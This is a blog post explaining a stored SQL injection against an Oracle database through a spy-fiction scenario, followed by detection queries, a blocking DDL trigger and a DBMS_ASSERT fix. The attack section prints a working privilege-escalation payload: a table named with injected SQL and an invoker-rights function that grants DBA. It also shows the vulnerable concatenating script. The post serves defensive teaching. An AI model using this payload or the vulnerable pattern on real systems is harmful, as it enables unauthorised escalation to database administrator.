Self-Inflicted SQL Injection – don’t quote me !

After my recent post about escaping quotes in SQL scripts, I was surprised and delighted to receive a mail from Alexander Kornbrust, CEO of Red Database Security.
In it, he said he’d read the post and pointed out that the code therin was vulnerable to SQL-Injection.
I was fortunate enough to work with Alex, before he went off to become famous, so I know that he’s a bona fide expert in all things Oracle, especially security. Even so, I was initially puzzled by his assertion.
After all, the code I’d posted was an example where the code is held in a script and NOT in the database so wouldn’t be vulnerable to being executed by someone who’d hacked into the database itself. After all, SQL Injection happens interactively doesn’t it ? The hacker needs to be probing for weaknesses via a web front-end or similar. Don’t they have to be physically typing stuff in somewhere for this to work ? Er….apparently not.
Having asked around a number of Oracle developers, this would seem to be a widely held misconception. In terms of SQL Injection attacks, we’re all familiar with the classic HTML login form which POSTS to some mid-tier script or program which in turn, simply concatenates the username and password strings supplied by the user into a query then fires it off unthinkingly at the database. But how can you be attacked when the attacker isn’t even around at the time ?

Before I go any further, I think it’s only prudent to state the usual caveats here :

1) As with anything I post on this blog, this is code I’ve tested and works for me on my environment. I don’t make any garuantees that it’ll work the same anywhere else and I trust that anyone as discerning and intelligent, as you obviously are dear reader (as your reading this blog), would do anything as silly as applying this code to a critical environment without testing it out themselves first – somewhere safe .

2) What follows is an example of how an Oracle database can be vulnerable to such an attack and how to take steps to guard against it. It is not intended for use for nefarious purposes.

I should also say at this point that these examples were tested by me on Oracle XE Release 10.2.0.1.0 so there’s no garuantee that it would work the same on any other Oracle RDBMS version.

A Privilege Escalation SQL Injection Attack

What the heck, I’ve always wanted to write some spy fiction, so let’s imagine a bit of industrial espionage.
Mr Nasty has been retained by Ripoff and Scarper Inc to steal some commercially sensitive data from their main competitors, Gullible and Co.
I know, it could just as easily be Ms Nasty, but I’m going for a James Bond running gag here. Yes, it could be Jenny Bond…except that she’s a former BBC News Reader and Royal Correspondent.
Mr Nasty has managed to get himself a position as a lowly temp at Gullible, despite the name and turning up in full black tie dress for the interview. His new colleagues’ suspicions are not even aroused by the fact that he only drinks Vodka Martinis in the pub at lunchtime ( they don’t have Bollinger on tap in the Three Ferrets).
At this point, it’s worth looking at some of the characteristics of Company’s venerable CRM Application.
Originally written as a Forms 4.5 client-server application running against Oracle 7, it’s been through various migrations, until it now resides on Oracle Forms 10g running against an Oracle 10g database ( OK, I’ve tested this on Oracle XE, but let’s pretend).
One of it’s characteristics is that every user has tables created in their own schema to hold temporary data. However, the tables themselves are permanent segments.
So, when Mr Nasty’s Oracle schema is created in the same way that Users have always been created for this application, he also gets an unlimited quota on the USERS tablespace.

GRANT connect, resource to nasty identified by password;
ALTER USER nasty QUOTA UNLIMITED on USERS;

Meanwhile, Mr Nasty’s female accomplice is back in the pub indulging in a bit of social engineering – in this case, plying the DBA with Vodka ( although, this time mixed with Red Bull).
Through an alcohol induced haze, thinking that the lady looks a little like that woman who used to be on the news, but flattered by the apparent interest she’s showing in his work, the DBA starts talking. The conversation swings round to a nifty little script he wrote many years ago to keep an eye on the tables the users have in their own schemas, so any large tables in the USERS tablespace can be tackled before it starts to get a bit tight on disk space.
Incidentally, I know this is a bit unrealistic. Whilst technical prowess should be deeply impressive to the opposite sex, “you know, I can reverse engineer a CRUD Matrix in Oracle” has not proved to be a successful chat-up line in my experience. Well, not yet anyway.

After consulting with his confederate, Mr Nasty is now ready to set up his attack.
To do this, connects to the database and runs the following code :

CREATE TABLE "' or 1=nasty.f1--'" (id number(1));

Once the table has been created, he then deploys a Trojan by the simple expedient of creating the this function :

CREATE OR REPLACE FUNCTION f1 RETURN NUMBER
	AUTHID CURRENT_USER AS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
	EXECUTE IMMEDIATE 'GRANT DBA TO NASTY';
	COMMIT;
RETURN 1;
END;
/

All he needs to do now is wait…

Sometime later, the DBA’s script is scheduled to run.
He’s set up a table called USER_ROWS containing information on the number of rows in each table owned by application users. The table which contains three columns :-
OWNER – the user who owns the table
TABLE_NAME – name of the table
ROW_COUNT – the number of rows in the table

Since the script’s inception – back in the days of Oracle 7 when the Rule-Based Optimizer was the only sensible way to go – statistics gathering on tables mean that a row count is directly available in DBA_TABLES. However, our DBA is rather set in his ways. Besides, he’s heard the mantra “if you can do it in SQL, do it in SQL” so often that it’s now second nature. The fact that the definition of “it” is quite important in this phrase has never occurred to him.
Before the script runs, the user_rows table is updated with any tables created since it was last refreshed :

MERGE INTO user_rows ur 
USING ( 
    SELECT tab.owner, tab.table_name 
    FROM dba_tables tab, application_users au 
    WHERE tab.owner = au.username) ut 
ON ( ut.owner = ur.owner AND ut.table_name = ur.table_name) 
WHEN NOT MATCHED THEN 
    INSERT( owner, table_name) 
    VALUES( ut.owner, ut.table_name) 
/

Then the count script runs in SQL*Plus :

set heading off 
set feedback off 
set lines 130 
set pages 500 
spool row_count_slave.sql 
SELECT 'UPDATE user_rows SET row_count = ' 
    ||' (SELECT COUNT(*) FROM '||owner||'."'||table_name||'")' 
    ||' WHERE owner = '||CHR(39)||owner||CHR(39) 
    ||' AND table_name = '||CHR(39)||table_name||CHR(39) 
    ||CHR(10)||'/' 
FROM user_rows 
/ 
spool off
set autocommit on
@row_count_slave.sql
exit

This script does three things.

First, it generates row_count_slave.sql, which looks something like this :

UPDATE user_rows SET row_count =  (
SELECT COUNT(*) FROM SCOTT."EMP") 
WHERE owner = 'SCOTT' 
AND table_name = 'EMP'                 
/                                                                                                                                                                                 UPDATE user_rows SET row_count =  (
SELECT COUNT(*) FROM SCOTT."BONUS") 
WHERE owner = 'SCOTT' 
AND table_name = 'BONUS'             
/
…
UPDATE user_rows SET row_count =  (
SELECT COUNT(*) FROM NASTY."' or 1=nasty.f1--'") 
WHERE owner = 'NASTY' 
AND table_name = '' or 1 =nasty.f1--''                                                                                                                    /                                                                                                                                                                                 

Secondly, it sets autocommit on so that a commit is issued after every subsequent statement.
Finally, it runs the slave script and then terminates the SQL*Plus session.

The script runs without error. The user rows table is updated… and it looks as if Mr Nasty has got a big promotion ….

SQL> select granted_role 
  2  from dba_role_privs 
  3  where grantee = 'NASTY'; 

GRANTED_ROLE 
-------------------
RESOURCE 
CONNECT 
DBA

SQL> 

Mr Nasty is now free to obtain the required data and saunter out of the office, stopping only to try it on with the receptionist. There at least, he’s onto a loser – the receptionist is just not that sort of boy.
No-one at the company is any the wiser.

How can we guard against such an attack ?

There would seem to be two steps here ;

1. Ascertain if your application is being compromised this way
2. Take steps to prevent this sort of attack

Oh, and we’re going to adopt the motto “just because you’re paranoid, it doesn’t mean they’re not out to get you” and we’re not going to rely on any dictionary view synonyms in our queries.
The first step involves looking for any suspiciously named objects or users.

Detection

At this point, it’s worth remembering that allowable characters for non-quoted database objects in Oracle are :-

• Alpha-numeric characters
• $ _ and #

Starting with users on the database :

SELECT username, account_status, created
FROM sys.dba_users
WHERE REGEXP_INSTR( REGEXP_REPLACE(username, '\$|_|\#',''), '[[:punct:]]|[[:space:]]') > 0;

Now let’s have a look for other object types. Here it’s probably a good idea to run two separate queries, one for internal oracle users and one for other users.
This is because there are various objects that fit the bill in the internal schemas. However, we still need to check to make sure nothing has sneaked in there that shouldn’t be.
Anything in the normal users’ schemas is far more likely to stand out in a separate query :

SELECT owner, object_name, object_type, created, last_ddl_time
FROM sys.dba_objects
WHERE object_name NOT LIKE 'BIN$%' – recycle bin tables 
AND owner NOT IN ('SYS', 'SYSTEM', 'ANONYMOUS', 'CTXSYS', 'DBSNMP', 'DIP', 'FLOWS_020100',
  'FLOWS_FILES', 'MDSYS', 'OUTLN', 'TSMSYS', 'XDB')
AND REGEXP_INSTR( REGEXP_REPLACE( object_name, '\$|_|\#',''), '[[:punct:]]|[[:space:]]') >0;

To check out the oracle internal users, you’d run this query replacing the NOT IN with IN.

As well as identifying any database objects that require further investigation, we should also check to see who has which privileges and roles granted.
Let’s start with the system privileges. This is particularly useful if, as in our example, users are only usually granted privileges via roles.

SELECT grantee, privilege
FROM sys.dba_sys_privs
WHERE grantee NOT IN (
  SELECT role
  FROM sys.dba_roles)
ORDER BY grantee;

The point here is to spot something that’s there that shouldn’t be. So, for the moment we discount any roles. Also, SYS and SYSTEM have a large number of privileges so you may want to query those separately.

Now to check which users have which roles. Once again we’re looking for anything that’s there but shouldn’t be. In our example, all users have CONNECT and RESOURCE ( although whether they should have the latter is something you may want to consider) so, in this instance, they’re excluded.

SELECT grantee, granted_role
FROM sys.dba_role_privs
WHERE granted_role NOT IN ('CONNECT', 'RESOURCE')
AND grantee NOT IN (
  SELECT role
  FROM sys.dba_roles)
ORDER BY grantee;

We also want to make sure that the roles in the database have the privileges we expect them to have. Here, DBA role might be queried separately, for the same reason as SYS and SYSTEM previously.

SELECT grantee, privilege
FROM sys.dba_sys_privs
ORDER BY grantee;

Finally, it’s worth making sure that no role has been granted roles that it shouldn’t have

SELECT grantee, granted_role
FROM sys.dba_role_privs
WHERE grantee IN (
  SELECT role
  FROM sys.dba_roles)
ORDER BY grantee;

For the most part, this is going to result in a lot of wading through the documentation to ensure that the roles have the grants they should have ( or, more pertinently, don’t have anything they shouldn’t) and that the internal users have the roles and privs they should have.
If you are going to go to all that trouble, it may be worth storing the expected results in a table or tables to ensure that future checks are a bit less manual.
Spotting individual users with suspicious grants is probably somewhat easier.
Either way, if we do come across something suspicious, it’s probably one of those occasions where it’s better to shoot first and ask questions later :

ALTER USER nasty ACCOUNT LOCK;

One other check to think about – if you really want to hide what your code is doing, you can wrap it. This has the effect of storing the program unit in question as a series of hex codes, thus making it unreadable from the data dictionary.
Certain objects, such as some of the Oracle supplied code, and maybe stuff supplied by 3rd party vendors, may well be wrapped. Any other wrapped code is probably worth investigating :

SELECT owner, name, type
FROM sys.dba_source
WHERE UPPER(text) LIKE ('%WRAPPED%')
ORDER BY owner;

Prevention

First, can you think of any reason why you’d need to create an object with a name containing anything other than the normally allowable characters ( alphanumerics plus ‘$’, ‘_’, and ‘#’) ?
Neither can I. Incidentally, you may well want to ask questions about ‘#’ and ‘$’ as well, although these are used in objects owned by some Oracle internal users.
The ‘$’ character is the shell escape character in SQL*Plus for some Operating Systems, whilst # is both a comment character in several languages and the first character in a unix shell script.
Given this, it’s possible to enforce our own rules about what database objects can be called.
You know how, at present, it seems to be fashionable to decry the use of triggers in Oracle ?

CREATE OR REPLACE TRIGGER before_create_ddl 
    BEFORE CREATE ON database 
BEGIN 
    IF REGEXP_INSTR( REPLACE( ora_dict_obj_name ,'_',''), '[[:punct:]]|[[:space:]]') > 0 
    THEN 
        RAISE_APPLICATION_ERROR( -20000, 'Good evening Mr Bond. Have you met my piranhas ?'); 
    END IF; 
END before_create_ddl; 
/

A couple of points to note here.
First, you might want to consider writing to a log table any time this trigger fires.
Secondly, you could possibly use DBMS_ASSERT here. This is a package Oracle introduced in 10.2 ( and so, is in XE), which is intended to filter out maliciously named objects and parameters.
There are two main reasons that I’ve decided against using it on this occasion.
Firstly, you need to take some care to use it properly to make sure that it’s guarding against what you think it’s guarding against.
Secondly, the obvious candidate for use in a situation like this is DBMS_ASSERT.SIMPLE_SQL_NAME.
This takes in a string and checks that it contains only the allowable characters for an object name. If it does, then it just returns the input string. Otherwise you get ORA-44003: Invalid SQL name
For example :

SELECT SYS.DBMS_ASSERT.SIMPLE_SQL_NAME('MY_TAB') from dual;
Returns MY_TAB

SELECT SYS.DBMS_ASSERT.SIMPLE_SQL_NAME('x@>:;**') from dual;
Returns ORA_44003

However, if we quote the string…

SELECT SYS.DBMS_ASSERT.SIMPLE_SQL_NAME('"x@>:;**"') from dual;
Returns "x@>:;**"

One other reason to not to use DBMS_ASSERT here is that it gives you the option to prohibit ‘#’ in an object name. You may want to consider this as the ‘#’ character is used as a comment in some languages ( such as unix shell scripting) and attempts at running code on the host database system using this kind of attack is not unheard of.
Where DBMS_ASSERT can come in handy is back where we started – in our master sql query
Remember, we’re still being paranoid here so make sure we access the package directly rather than via the synonym :

set heading off 
set feedback off 
set lines 130 
set pages 500 
spool row_count_slave.sql 
SELECT 'UPDATE user_rows SET row_count = ' 
    ||' (SELECT COUNT(*) FROM '|| sys.DBMS_ASSERT.SCHEMA_NAME(owner)
    ||'."'|| sys.DBMS_ASSERT.SIMPLE_SQL_NAME(table_name)||'")' 
    ||' WHERE owner = '||CHR(39)||owner||CHR(39) 
    ||' AND table_name = '||CHR(39)||table_name||CHR(39) 
    ||CHR(10)||'/' 
FROM user_rows 
/ 
spool off
set autocommit on
@row_count_slave.sql
exit

Running this now, gives us the ORA-44003 error.
Note – whilst not strictly necessary in this example, it’s probably worth getting into the habit of using DBMS_ASSERT anywhere that you’re concatenating quoted object names ( such as the predicate we’re generating in this script).

Conclusion

Ideally, there should be very few occasions where SQL statements are built dynamically for execution. Far preferable to use bind variables and – even better – to ensure that the database is accessed via a PL/SQL API. In reality, there are many applications where dynamically generated statements are endemic.
This is especially true in Forms – just think how many where clauses or record groups are altered programaticaly at runtime using this technique.
In this post, I’ve attempted to show how such code can be vulnerable and ways in which you can protect your database against this specific sort of attack. However, I make no garuantees that this is a panacea.
There are Oracle Security experts out there – Red Database Security (obviously) and Pete Finnigan to name but two. If you’re really worried about this sort of thing, they may well be pretty good places to visit.